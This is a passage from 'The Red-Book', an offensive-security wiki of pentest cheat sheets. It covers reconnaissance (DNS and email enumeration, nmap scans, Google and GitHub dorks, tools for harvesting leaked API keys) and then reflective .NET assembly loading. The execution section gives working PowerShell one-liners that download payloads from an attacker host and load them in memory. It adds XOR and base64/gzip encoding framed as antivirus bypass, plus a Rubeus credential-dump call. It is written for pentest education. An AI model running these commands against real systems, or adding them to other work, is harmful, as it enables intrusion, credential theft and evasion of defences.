# The Red-Book

The Art of Offensive CyberSecurity

<figure><img src="/files/NaDpd2PDyWIdX0lmEKHC" alt=""><figcaption></figcaption></figure>

**The Red-Book** by **infiltr8** is offering a collection of **technical notes** and **cheat sheets**. Our goal is to provide you with practical knowledge rooted in real-world experience. All the information you find within these pages has been meticulously sourced from a diverse range of valuable resources on the internet.

We have scoured numerous reputable sources, including research papers, industry blogs, documentation, and expert opinions, to bring you the most relevant and up-to-date content. The techniques, methodologies, and concepts presented in **The Red-Book** have been carefully vetted and tested (we still human, it's possible there's some mistakes).

Whether you are a cybersecurity enthusiast, an aspiring ethical hacker, or a concerned individual seeking to fortify your digital defenses, **The Red-Book** will serve as your indispensable resource. We cover a wide range of topics, including penetration testing, vulnerability assessments, social engineering, red teaming, network security, web application security, and much more.

As you embark on this journey with us, keep in mind that offensive cybersecurity **is not about malicious intent**. It is about understanding the tactics employed by potential adversaries and using that knowledge to protect yourself and others. Together, let's take a proactive stance and defend against the ever-evolving digital threats that surround us. Remember, **knowledge is power, and with power comes responsibility**.

:tada:Please feel free to contribute, give feedback/suggestions or reach out to me on Discord (**v4resk#0430**).

{% hint style="danger" %}
Around 90%, of the content relating to "Active Directory" comes from [The Hacker Recipes](https://www.thehacker.recipes/) website. Many thanks to [Charlie Bromberg](https://twitter.com/_nwodtuhs) for his valuable work.
{% endhint %}

{% hint style="info" %}
Fell free to contribute with donation in cryptocurrency\
ETH/BSC: 0x6F8274f1BEF5ca774769A73AB520C5461fB22219
{% endhint %}

{% hint style="danger" %}
**Disclaimer: Use of Information and Tools on infiltr8.io**

The information provided on infiltr8.io is intended for educational and informational purposes only. The website offers resources related to penetration testing (pentest) and red teaming, with the goal of enhancing cybersecurity awareness and knowledge.

**1. No Unlawful Activities:** Users are strictly prohibited from using any information, tools, or resources provided on this website for any unlawful activities. Engaging in unauthorized access, malicious hacking, or any activities that violate applicable laws and regulations is strictly against our principles.

**2. Ethical Use:** All content on infiltr8.io is meant to be used ethically and responsibly. Users are encouraged to adhere to ethical guidelines and legal standards when applying the information, tools, or methodologies discussed on the website.

**3. User Responsibility:** Users are solely responsible for their actions and the consequences that may arise from using the information presented on the website. infiltr8.io and its contributors will not be held liable for any misuse or illegal activities carried out by individuals using the provided content.

**4. No Guarantees:** While we strive to provide accurate and up-to-date information, infiltr8.io makes no guarantees regarding the completeness, accuracy, or reliability of the content. Users are encouraged to verify information independently and use it at their own discretion.

**5. External Links:** The website may contain links to external resources, tools, or websites. infiltr8.io is not responsible for the content, security, or privacy practices of these external links. Users should exercise caution and review the policies of external sites.

**6. Changes to Disclaimer:** infiltr8.io reserves the right to modify or update this disclaimer at any time without prior notice. It is the user's responsibility to review the disclaimer periodically for any changes.

**7. No Endorsement:** Any mention of specific tools, products, or services on infiltr8.io does not constitute an endorsement. Users are encouraged to conduct their own research and make informed decisions.

By accessing and using infiltr8.io, users acknowledge and agree to comply with the terms of this disclaimer. If you do not agree with these terms, please refrain from using the website.
{% endhint %}


# Reconnaissance

MITRE ATT\&CK™ Reconnaissance - Tactic TA0043

## Theory

Reconnaissance consists of techniques that involve adversaries actively or passively gathering information that can be used to support targeting. Such information may include details of the victim organization, infrastructure, or staff/personnel. This information can be leveraged by the adversary to aid in other phases of the adversary lifecycle, such as using gathered information to plan and execute Initial Access, to scope and prioritize post-compromise objectives, or to drive and lead further Reconnaissance efforts.

![The Unified Kill Chain - in phase](/files/FNiCykG30k371VHOdwj7)

## Resources

{% embed url="<https://attack.mitre.org/tactics/TA0043/>" %}

{% embed url="<https://www.unifiedkillchain.com/#thescience>" %}

{% embed url="<https://tryhackme.com/room/recon>" %}


# DNS Enumeration

MITRE ATT\&CK™  Gather Victim Network Information: DNS - T1590.002

## Theory

Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.

Each domain can use different types of DNS records. Some of the most common types of DNS records include:

* **NS**: Nameserver records contain the name of the authoritative servers hosting the DNS records for a domain.
* **A**: Also known as a host record, the "*a record*" contains the IPv4 address of a hostname (such as [www.megacorpone.com](http://www.megacorpone.com)).
* **AAAA**: Also known as a quad A host record, the "*aaaa record*" contains the IPv6 address of a hostname (such as [www.megacorpone.com](http://www.megacorpone.com)).
* **MX**: Mail Exchange records contain the names of the servers responsible for handling email for the domain. A domain can contain multiple MX records.
* **PTR**: Pointer Records are used in reverse lookup zones and can find the records associated with an IP address.
* **CNAME**: Canonical Name Records are used to create aliases for other host records.
* **TXT**: Text records can contain any arbitrary data and be used for various purposes, such as domain ownership verification.

## Practice

{% tabs %}
{% tab title="Dig" %}
The dig (domain information groper) command is a flexible tool for interrogating DNS name servers. It performs DNS lookups and displays the answers that are returned from the queried name server(s).

```bash
# Simple DNS resolution
dig domain.com

#Enum records
dig MX domain.com
dig NS domain.com
dig A domain.com
dig txt domain.com
dig AAAA domain.com

#If supported by the DNS server, we can use the ANY query and dump all records
dig any domain.com

#Zone transfert
dig axfr domain.com @ns.domain.com
```

{% endtab %}

{% tab title="Host" %}
Using the host command, we may perform DNS and revers DNS enumeration

```bash
# Simple DNS resolution
host domain.com

# Enum records
host -t MX www.domain.com
host -t NS domain.com
host -t A domain.com
host -t txt domain.com
host -t AAAA domain.com

# Reverse DNS
# Works if the DNS is configured with a PTR record
host 149.56.244.87

# Bash script reverse DNS lookup an IP addresses range
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
```

{% endtab %}

{% tab title="Nslookup" %}
Nslookup is a native **Windows & Linux** command that may be used as a [LOLBAS](/redteam/evasion/living-off-the-land/lolbas) to perform DNS enumeration

```powershell
# Simple DNS resolution
nslookup domain.com

# Enum records, you may use set=all
nslookup
> set type=ns
> domain.com

# Specify a DNS server
nslookup
> server 10.10.10.8
> domain.com

# One-liner: request TXT records for info.domain.com on 10.10.10.8 DNS server
nslookup -type=TXT info.domain.com 10.10.10.8 

# Reverse DNS
# Works if the DNS is configured with a PTR record
nslookup 149.56.244.87
```

{% endtab %}

{% tab title="DNSRecon" %}
[DNSRecon](https://github.com/darkoperator/dnsrecon) is a Python script that provides the ability to perform DNS enumeration.

```bash
#Basic enum
dnsrecon -d domain.com
# -t std for standar scan
dnsrecon -d domain.com -t std

#Brute force domains and hosts
dnsrecon -t brt -d domain.com -D /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt

#Bing (-b) and yandex (-y) search enum
dnsrecon -by -d domain.com

#Zone transfert
dnsrecon -a -d domain.com

#DNSSEC zone walk
dnsrecon -z -d domain.com
```

{% endtab %}

{% tab title="DNSMap" %}
[DNSMap](https://github.com/makefu/dnsmap) scans a domain for common subdomains using a built-in or an external wordlist (if specified using -w option). The internal wordlist has around 1000 words

```bash
#Brute force domains and hosts
dnsmap domain.com -w /usr/share/seclists/Discovery/DNS/dns-Jhaddix.txt
```

{% endtab %}

{% tab title="DNSEnum" %}
[DNSEnum](https://github.com/fwaeytens/dnsenum) Dnsenum is a multithreaded perl script to enumerate DNS information of a domain and to discover non-contiguous ip blocks. The main purpose of Dnsenum is to gather as much information as possible about a domain.

```bash
dnsenum domain.com
```

{% endtab %}

{% tab title="dnsdumpster" %}
[dnsdumpster](https://dnsdumpster.com/) is a usefull website to perform DNS enumeration.
{% endtab %}
{% endtabs %}

## Ressource

{% embed url="<https://attack.mitre.org/techniques/T1590/002/>" %}


# Subdomains enumeration

When conducting penetration tests on a website, or on a `*.domain.com` scope, finding subdomains of the target can help widen the attack surface. There are many different techniques to find subdomains that can be divided in two main categories.

{% content-ref url="/pages/9SBVBz7fKr5cKG5EX995" %}
[Subdomains enumeration](/web-pentesting/recon/subdomain-enum)
{% endcontent-ref %}


# Email Harvesting

MITRE ATT\&CK™ Account Discovery - Technique T1087

## Theory

We may attempt to obtain a list of email addresses and accounts from a domain or website. This is part of passive reconnaissance. It can provide us with useful information and help us gain initial access.

## Practice

{% tabs %}
{% tab title="Bash" %}
We can recursively crawl a website and pipe it over a regex to extract emails.

```bash
# Recursively get emails on a website with wget
wget -r -O crawl.txt https://target.url
grep -haio "\b[a-z0-9.-]\+@[a-z0-9.-]\+\.[a-z]\{2,4\}\+\b" crawl.txt

# Get emails one a specific page with curl
curl -kfsSL https://target.url | grep -hio "\b[a-z0-9.-]\+@[a-z0-9.-]\+\.[a-z]\{2,4\}\+\b"
```

{% endtab %}

{% tab title="theHarvester" %}
[theHarvester](https://github.com/laramies/theHarvester) is used to gather open source intelligence (OSINT) on a company or domain. The tool gathers names, emails, IPs, subdomains, and URLs by using multiple public resources.

```bash
#Search using bing
theHarvester -d target.url -b bing
```

{% endtab %}

{% tab title="Whois" %}
Whois is a widely used Internet record listing that identifies who owns a domain and how to get in contact with them. We may find emails and other valuable information.

```bash
whois target.url
```

{% endtab %}
{% endtabs %}


# Host Discovery

## Theory

One of the very first steps in network recon is to reduce a set (sometimes huge) of IP ranges to a list of active or interesting hosts. Scanning all the ports of each IP is slow and often pointless. Nmap offers a wide variety of host discovery techniques beyond the standard ICMP echo request.

## Practice

{% tabs %}
{% tab title="Nmap" %}
**Network Sweep**

When performing a network sweep with Nmap using the `-sn` option, the host discovery process consists of more than just sending an ICMP echo request. Nmap also sends a TCP SYN packet to port 443, a TCP ACK packet to port 80, and an ICMP timestamp request to verify whether a host is available.

By default, on an ethernet LAN, nmap will perform an [ARP scan](#arp-scan).

```bash
# Network sweep for IP Range
nmap -sn 192.168.50.1-200

# Network sweep for IP Range using CIDR
nmap -sn 192.168.50.0/24
```

**TCP SYN Ping**

The `-PS` option sends an empty TCP packet with the SYN flag set. The default destination port is 80. Nmap does not care whether the port is open or closed. Either the RST or SYN/ACK response discussed previously tell Nmap that the host is available and responsive.

```bash
# TCP SYN Ping
nmap -sn -PS 192.168.50.0/24

# TCP SYN Ping with custom ports
nmap -sn -PS22-25,80,113,1050,35000 192.168.50.0/24
```

**TCP ACK Ping**

The TCP ACK ping is quite similar to the SYN ping. The difference, as you could likely guess, is that the TCP ACK flag is set instead of the SYN flag. Such an ACK packet purports to be acknowledging data over an established TCP connection, but no such connection exists. So remote hosts should always respond with a RST packet, disclosing their existence in the process.

```bash
# TCP ACK Ping
nmap -sn -PA 192.168.50.0/24

# TCP ACK Ping with custom ports
nmap -sn -PA22-25,80,113,1050,35000 192.168.50.0/24
```

**UDP Ping**

Another host discovery option is the UDP ping, which sends a UDP packet to the given ports. The port list takes the same format as with the previously discussed `-PS` and `-PA` options. If no ports are specified, the default is 40,125.

For most ports, the packet will be empty, though for a few common ports like 53 and 161, a protocol-specific payload will be sent that is more likely to get a response. The `--data-length` option sends a fixed-length random payload for all ports.

```bash
# TCP ACK Ping
nmap -sn -PU 192.168.50.0/24

# TCP ACK Ping with custom ports and data-length specification
nmap -sn -PU53 --data-length 32 192.168.50.0/24
```

**ICMP Ping Types**

Nmap can send the standard packets sent by the ubiquitous ping program. Nmap sends an ICMP type 8 (echo request) packet to the target IP addresses, expecting a type 0 (echo reply) in return from available hosts.

```bash
# -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
nmap -sn -PE 192.168.50.0/24
```

**ARP Scan**

One of the most common Nmap usage scenarios is to scan an ethernet LAN. On most LANs, Hosts frequently block IP-based ping packets, but they generally cannot block ARP requests or responses. **ARP is the default scan type when scanning ethernet hosts**.

The `--send-ip` option tells Nmap to send IP level packets (rather than raw ethernet) even though it is a local network.

```bash
# ARP Scan (useless as default)
nmap -sn -PR 192.168.50.0/24

# Raw IP ping scan (don't send raw ethernet frames) 
nmap -n -sn --send-ip 192.168.50.0/24
```

{% endtab %}
{% endtabs %}

## Ressources

{% embed url="<https://nmap.org/book/host-discovery-techniques.html>" %}


# TCP/UDP Service Scanning

MITRE ATT\&CK™  Network Service Discovery - Technique T1046

## Theory

We may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port and/or vulnerability scans using tools that are brought onto a system.\
Blindly conducting port scans can lead to detrimental consequences for both the target systems and the client network. This is primarily due to the potentially high volume of traffic generated by these scans, coupled with their intrusive nature. Such consequences may include server and network link overloads, as well as the triggering of intrusion detection and prevention systems (IDS/IPS).

TCP and UDP or protocols of the TCP/IP transport layer. They exchange data receipt acknowledgments and retransmit missing packets to ensure that packets arrive in order and without error. End-to-end communication is referred to as such.

* **TCP:** Applications can interact with one another using [TCP](https://www.geeksforgeeks.org/what-is-transmission-control-protocol-tcp/) as though they were physically connected by a circuit. TCP transmits data in a way that resembles character-by-character transmission rather than separate packets. A starting point that establishes the connection, the whole transmission in byte order, and an ending point that closes the connection make up this transmission.
* **UDP:** The datagram delivery service is provided by [UDP](https://www.geeksforgeeks.org/user-datagram-protocol-udp/), the other transport layer protocol. Connections between receiving and sending hosts are not verified by UDP. Applications that transport little amounts of data use UDP rather than TCP because it eliminates the processes of establishing and validating connections.

## Practice

{% tabs %}
{% tab title="UNIX-Like" %}
[Nmap](https://nmap.org/download) is one of the most popular, versatile, and robust port scanners available.

```bash
# Nmap TCP CONNECT scan
## -sT: TCP Connect scan
## -p3388-3390: port range
nmap -sT <IP> -p3388-3390

# Nmap SYN TCP scan (stealthy)
nmap -sS <IP>

# Nmap UDP scan
nmap -sU <IP> 

# Nmap Full scan
## -sV: Version scan
## -sC: Script scan
## -O: OS Scan
## --osscan-guess: Guess OS more aggressively
## -oN: Output to file (normal format)
## -p-: Scan all ports
nmap -sS -sV -sC -O --osscan-guess -oN nmap.txt <IP> -p-
```

[Netcat](https://nmap.org/download) also may be used to scan tragets for open ports

```bash
# netact TCP CONNECT scan
## 
## -n: numeric‐only IP addresses, no DNS
## -vv: verbose level
## -w: request timeout (in second)
## -z: zero‐I/O mode (scan mode)
## 3388-3390: port range to scan
nc -nvv -w 1 -z <IP> 3388-3390

# netact UDP scan
## -u: UDP mode
## 120-123: port range to scan
## If no "ICMP port unreachable" message sent back, port is likely open/filtred
nc -nv -u -z -w 1 <IP> 120-123
```

{% endtab %}

{% tab title="Windows" %}
The [Test-NetConnection](https://learn.microsoft.com/en-us/powershell/module/nettcpip/test-netconnection?view=windowsserver2022-ps) powershell cmdlet checks if an IP responds to ICMP and whether a specified TCP port on the target host is open.

```powershell
# Scan for one port
Test-NetConnection -Port <PORT> <IP>
```

However `Test-NetConnection` send additional traffic that is non needed for our purposes Using the Net.Sockets.TcpClient object, we can script a service scan

```powershell
# Loop to scan the first 1024 ports 
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("TARGET_IP", $_)) "TCP port $_ is open"} 2>$null
```

{% endtab %}
{% endtabs %}

## Ressources

{% embed url="<https://attack.mitre.org/techniques/T1046/>" %}


# Vulnerability Scanning

MITRE ATT\&CK™  Active Scanning: Vulnerability Scanning - Technique T1595.002

## Theory

We may scan victims for vulnerabilities that can be used for exploitation. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit that we may seek to use.

## Practice

{% tabs %}
{% tab title="Nmap - NSE" %}
We may use the [Nmap Scripting Engine (NSE)](https://nmap.org/book/man-nse.html) to perform automated vulnerability scans. NSE scripts expand upon Nmap's core capabilities to perform a wide range of network related functions. These functions are organized into categories that revolve around specific use cases, [listed here](https://nmap.org/book/nse-usage.html#nse-categories).

You can list all scripts under following directory:

```bash
ls /usr/share/nmap/scripts/*.nse
```

For vulnerability scanning, we are mainly interested in the **`vuln`** category. Note that each script may have several categories such as `vuln`, `safe` or `intrusive`.

{% hint style="info" %}
The **script.db** file serves as a comprehensive catalog of all accessible NSE scripts, enabling us to obtain the list of scripts falling within the vulnerability (vuln) category.

```bash
cat /usr/share/nmap/scripts/script.db  | grep "\"vuln\""
```

{% endhint %}

We maye use the Nmap Scripting Engine (NSE) as follow for vulnerability scanning

```bash
# Vulnerability scanning using all scripts
nmap -sS -sV --script "vuln" <TARGET_IP>

# Vulnerability scanning only using safe scripts
nmap -sS -sV --script "vuln and safe" <TARGET_IP>

# Vulnerability scanning using a custom script
wget https://raw.githubusercontent.com/RootUp/PersonalStuff/master/http-vuln-cve-2021-41773.nse
mv http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/
nmap --script-updatedb
nmap -sS -sV --script="http-vuln-cve-2021-41773" <TARGET_IP>
```

{% endtab %}

{% tab title="Nesus" %}
[Nessus](https://www.tenable.com/downloads/nessus?loginAttempted=true) is a powerfull vulnerability scanner that can perform multiple type of scan, Its available as Nessus Essentials wich is free and allow scanning 16 different IP addresses and Nessus Professional.

It can perform:

* [Host Discovery](/redteam/recon/host-discovery) scans
* Compliance scans (available with Nessus Pro)
* Vulnerability Scans

Vulnerability scans may be:

* **Authenticated:** scans for missing operating system patches and outdated applications.
* **Unauthenticated**: Mainly network scans that identify commonly known, exploitable vulnerabilities.
  {% endtab %}
  {% endtabs %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1595/002/>" %}


# Google Dorks

## Theory

Google dorking is a technique of using the Google search engine to search for vulnerabilities or to retrieve sensitive data. This technique relies on the results of the exploration and indexation of websites by the Googlebot. We can perform advanced search queries using various operators that allow us to reach our goal.

<figure><img src="/files/ZP7VgqdfwODzvCX86oJW" alt=""><figcaption></figcaption></figure>

## Practice

Here are some operators that might be useful

```bash
# Specify the filetype "pdf" and search the term "email address".
filetype:pdf "email address"

# Search all URLs containing the word "edu" and search the term "login" in the urls.
inurl:edu "login"

# Searches keywords contained in the page title.
intitle:pentesting

# Search the term "DB_USER" contained in the given site "github.com".
site:github.com "DB_USER"
site:github.com "DB_PASSWORD"

# Views cached content
cache:example.com
```

### Google Hacking Database (GHDB)

[The Google Hacking Database(GHDB)](https://www.exploit-db.com/google-hacking-database) is a database of search queries (dorks) used to find sensitive publicly available information or vulnerabilities. This is hosted by [exploit-db](https://www.exploit-db.com/)

### Useful dorks

{% tabs %}
{% tab title="Subdomains" %}
You can use this google dorks to enum subdomains of a website

```bash
#Search for subdomains 
site:*.domain.com

#Search for subdomains with 'admin' in title
site:*.domain.com intitle:admin
```

{% endtab %}

{% tab title="Directory Listing" %}
You can use this google dorks to enum websites with directory listing enabled

```bash
intitle:"Directory Listing For"
intitle:"index of"
```

{% endtab %}
{% endtabs %}

## Ressource

{% embed url="<https://www.exploit-db.com/google-hacking-database>" %}

{% embed url="<https://exploit-notes.hdks.org/exploit/reconnaissance/google-dorks/>" %}


# GitHub Recon

MITRE ATT\&CK™  Data from Information Repositories - Technique T1213

Theory

Online repositories of code hold a window into an organization's technology stack, revealing the programming languages and frameworks they employ. In some rare instances, developers have unintentionally exposed sensitive information, including critical data and credentials, within public repositories. These inadvertent revelations may present a unique opportunity us.

## Practice

### Github Dorks & Sensitive Data Exposure

To automate the process of searching sensitives files and hardcoded credentials in **Git repositories**, we may use following tools

{% tabs %}
{% tab title="Github Dorks" %}
[Github-dorks](https://github.com/techgaun/github-dorks) is a python tools used to search leaked secrets via github search. Its collection of Github dorks can reveal sensitive personal and/or organizational information such as private keys, credentials, authentication tokens, etc.

```bash
# search a single repo
github-dork.py -r techgaun/github-dorks

# search all repos of a user
github-dork.py -u techgaun  

# search all repos of an organization
github-dork.py -u dev-nepal
```

Alternatively, we can manualy search for specific dorks, without using [Github-dorks](https://github.com/techgaun/github-dorks) :

<figure><img src="/files/0Kh8jxX4HYnM38J4HMUy" alt=""><figcaption></figcaption></figure>

Examples of Github Dorks are :

| Dork                                          | Description                                          |
| --------------------------------------------- | ---------------------------------------------------- |
| filename:.npmrc \_auth                        | npm registry authentication data                     |
| filename:.dockercfg auth                      | docker registry authentication data                  |
| extension:pem private                         | private keys                                         |
| extension:ppk private                         | puttygen private keys                                |
| filename:id\_rsa or filename:id\_dsa          | private ssh keys                                     |
| filename:wp-config.php                        | wordpress config files                               |
| filename:.env MAIL\_HOST=smtp.gmail.com gmail | smtp configuration (try different smtp services too) |
| shodan\_api\_key language:python              | Shodan API keys (try other languages too)            |
| /"sk-\[a-zA-Z0-9]{20,50}"/ language:Shell     | Open AI API Keys                                     |
| "api\_hash" "api\_id"                         | Telegram API token                                   |
| {% endtab %}                                  |                                                      |

{% tab title="GitHound" %}
[GitHound](https://github.com/tillson/git-hound) hunts down exposed API keys and other sensitive information on GitHub using GitHub code search, pattern matching, and commit history searching.

```bash
# Basic Usage
git-hound --subdomain-file subdomains.txt
echo "\"example.com\"" | git-hound

# Searching for exposed API keys
echo "api.halcorp.biz" | githound --dig-files --dig-commits --many-results --rules halcorp-api-regexes.txt --results-only | python halapitester.py

# Bug Bounty Hunters: Searching for leaked employee API tokens
echo "\"uberinternal.com\"" | githound --dig-files --dig-commits --many-results --languages common-languages.txt --threads 100
```

{% endtab %}

{% tab title="Noseyparker" %}
[Noseyparker](https://github.com/praetorian-inc/noseyparker) is a command-line program that finds secrets and sensitive information in textual data and Git history.

```bash
# Scan a repo
noseyparker scan --datastore np.myDataStore --git-url <repo-url>

# Scan all repo of an user
noseyparker scan --datastore np.myDataStore --github-user <username>

# Scan all repo of an organization
noseyparker scan --datastore np.myDataStore --github-organization <NAME>

# Show result of a scan
noseyparker report -d np.myDataStore
```

{% endtab %}

{% tab title="GitHunt" %}
[GitHunt](https://github.com/v4resk/GitHunt) is a (Python) tool for detecting sensitive data exposure in GitHub repositories, leveraging GitHub's search functionality.

```bash
# See available hunting modules
python GitHunt.py hunt -h

# Hunt for OpenAI API Keys
python GitHunt.py hunt -m OpenAI

# Export all valid OpenAI API keys found in a json 
python GitHunt.py db -m OpenAI -f json -o ~/export.json
```

{% endtab %}

{% tab title="Gitleaks" %}
[Gitleaks](https://github.com/gitleaks/gitleaks) (Go) is a SAST tool for **detecting** and **preventing** hardcoded secrets like passwords, api keys, and tokens in git repos.

```bash
./gitleaks detect -v -r=<GIT_REPO_URL>
```

{% endtab %}

{% tab title="Gitrob" %}
[Gitrob](https://github.com/michenriksen/gitrob) (Go) is a tool to help find potentially sensitive files pushed to public repositories on Github. It will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.

{% hint style="info" %}
Gitrob will need a Github access token in order to interact with the Github API. See [Create a personal access token](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/).
{% endhint %}

```bash
# Run it !
# With <TARGET> an organization/user profile (i.e v4resk)
gitrob -github-access-token <TOKEN> <TARGET> 
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://github.com/techgaun/github-dorks>" %}


# Files Metadata

## Theory

To identify potential target users and gather information about their operating systems and installed application software, we might review the metadata of publicly accessible documents linked to the target organization.

## Practice

{% tabs %}
{% tab title="Exiftool" %}
We may find and download target organization's publicly accessible documents by using [google dorks](/redteam/recon/google-dorks) such as `site:example.com filetype:pdf` or by directly downloading files from the organization's website.

Then, exfitool can be used to inspect metadata tags

```bash
# -u : Display unknown tags
# -a : Display duplicated tags
exiftool -u -a corpo-image.png
```

{% endtab %}
{% endtabs %}


# Maltego


# Specialized Search Engines

{% embed url="<https://www.shodan.io/>" %}

{% embed url="<https://yandex.com/>" %}


# Execution

MITRE ATT\&CK™ Execution - Tactic TA0002

## Theory

Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.

![](/files/IPwEmjkwKJ5eXqaJHFMe)

## Resources

{% embed url="<https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html>" %}

{% embed url="<https://www.unifiedkillchain.com/>" %}

{% embed url="<https://www.ired.team/>" %}

{% embed url="<https://tryhackme.com/room/weaponization>" %}

{% embed url="<https://github.com/infosecn1nja/Red-Teaming-Toolkit#Initial-Access>" %}


# Code & Process Injection


# Loading .NET Reflective Assembly

MITRE ATT\&CK™ Reflective Code Loading - Technique T1620

## Theory

We may reflectively load .NET code (exe or dll) into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process **without calling the standard Windows APIs**.

## Practice

### Powershell

We can implement Reflective Assembly Loading throught powershell to load the .NET assembly of a exe/dll using `[System.Reflection.Assembly]`

{% tabs %}
{% tab title="Classic" %}
When reflectively loading .NET assembly (exe or dll), **we have access to all it's classes and methods** directely from powershell.

We can find lot of C# offensive tools on the [SharpCollection](https://github.com/Flangvik/SharpCollection) Github repository that we may reflectively load. As example, we will take Rubeus.

On the Windows Tartget, via powershell, load the .NET assembly:

```powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))
```

We can now call its methods

```powershell
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="XORed" %}
To bypass AV signature and Firewalls analysis, we can XOR our native code before loading it as follow:

XOR the Binary using the following python code

{% code title="xor\_encrypt.py" %}

```python
def xor_encrypt(data, key):
    decrypted_data = bytearray()
    key_length = len(key)
    for i, byte in enumerate(data):
        decrypted_byte = byte ^ ord(key[i % key_length])
        decrypted_data.append(decrypted_byte)
    return bytes(decrypted_data)

def main():
    input_file_path = "evil.exe"  # Replace this with the path to your input file
    output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
    xor_key = "MySuperSecretKey"  # Replace "XOR_KEY" with your actual XOR key

    with open(input_file_path, "rb") as input_file:
        binary_data = input_file.read()

    decrypted_data = xor_encrypt(binary_data, xor_key)

    with open(output_file_path, "wb") as output_file:
        output_file.write(decrypted_data)

if __name__ == "__main__":
    main()
```

{% endcode %}

```bash
$ python3 xor_encrypt.py
```

On the Windows Tartget, decrypt and load the .NET assembly

```powershell
#Create WebClient object, set a custom User-Agent, configure default proxy & credentials if any
$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials

#Download the assembly
$k="MySuperSecretKey";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("http://<ATTACKING_IP>/evil.enc.exe")))|%{$_-bxor$k[$i++%$k.length]}

#Load it
[System.Reflection.Assembly]::Load($b) | Out-Null
```

Now, we can call methods from this assembly

```powershell
#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters) 

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="Base64 + Gzip" %}
To bypass AV signature and Firewalls analysis, we can Base64 encode + gzip-compress our .NET executable before loading it as follow:

Use the following powershell script to encode and compress the .NET assembly (change the binary path)

{% code title="CompressEncodeAssembly.ps1" %}

```powershell
$bytes = [System.IO.File]::ReadAllBytes("$(pwd)\binary.exe")
[System.IO.MemoryStream] $outStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream($outStream, [System.IO.Compression.CompressionMode]::Compress)
$gzipStream.Write($bytes, 0, $bytes.Length)
$gzipStream.Close()
$outStream.Close()
[byte[]] $outBytes = $outStream.ToArray()
$b64Zipped = [System.Convert]::ToBase64String($outBytes)
$b64Zipped | Out-File -NoNewLine -Encoding ASCII .\b64.txt
```

{% endcode %}

```powershell
.\CompressEncodeAssembly.ps1
```

On the target, we can decode, decompress and load the assembly

```powershell
#Download it
$data= New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String((iwr "http://<ATTACKING_IP>/b64.txt" -UseBasicParsing).Content))
#Or
#Get it from a string
$data = New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String("<Base64 here>"))

#Decompress
$decompressed = New-Object System.IO.Compression.GZipStream($data, [System.IO.Compression.CompressionMode]::Decompress)
$out= New-Object System.IO.MemoryStream;
$decompressed.CopyTo($out)
[byte[]]$byteOutArray = $out.ToArray()

#Load it
[System.Reflection.Assembly]::Load($byteOutArray)
```

Now, we can call methods from this assembly

```powershell
#Call your function
[Do.The]::thing()

#Call your function with parameters
$parameters=@("arg1", "arg2")
[Do.The]::thing($parameters)

#An other example
[Rubeus.Program]::Main("dump /user:administrator".Split())
```

{% endtab %}

{% tab title="Custom .NET DLL" %}
We can build our own DLL in C# and reflectively load it with Powershell.

{% code title="evil.cs" %}

```csharp
using System;
using System.Diagnostics;

//This function just spawn calc.exe
namespace Do
{
    public class The
    {
        public static void thing()
		{

		    Process p = new Process();
			p.StartInfo.FileName = "calc.exe";
			p.Start();	
		}
    }
}
```

{% endcode %}

Compile the csharp code from our Linux host into a DLL

```bash
$ mcs -t:library evil.cs
```

Then we can transfer the DLL to the target (using http-server, or smb for example) and load the Assembly

```powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/evil.dll")
[System.Reflection.Assembly]::Load($data)

#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\evil.dll"))
```

Call methods

```powershell
PS> [Do.The]::thing()
```

{% endtab %}
{% endtabs %}

### C\#

We can implement Reflective Assembly Loading in `C#` and load the .NET assembly of a exe/dll.

{% tabs %}
{% tab title="Assembly.Load()" %}
Here is a simple code to load a .NET assembly (exe or dll) in memory from C# using the `Assembly.Load()` method

```csharp
using System;
using System.IO;
using System.Reflection;

namespace AssemblyLoader
{
    class Program
    {
        static void Main(string[] args)
        {

            Byte[] fileBytes = File.ReadAllBytes("C:\\Tools\\JustACommandWithArgs.exe");

            string[] fileArgs = { "arg1", "arg2", "argX" };

            ExecuteAssembly(fileBytes, fileArgs);
        }

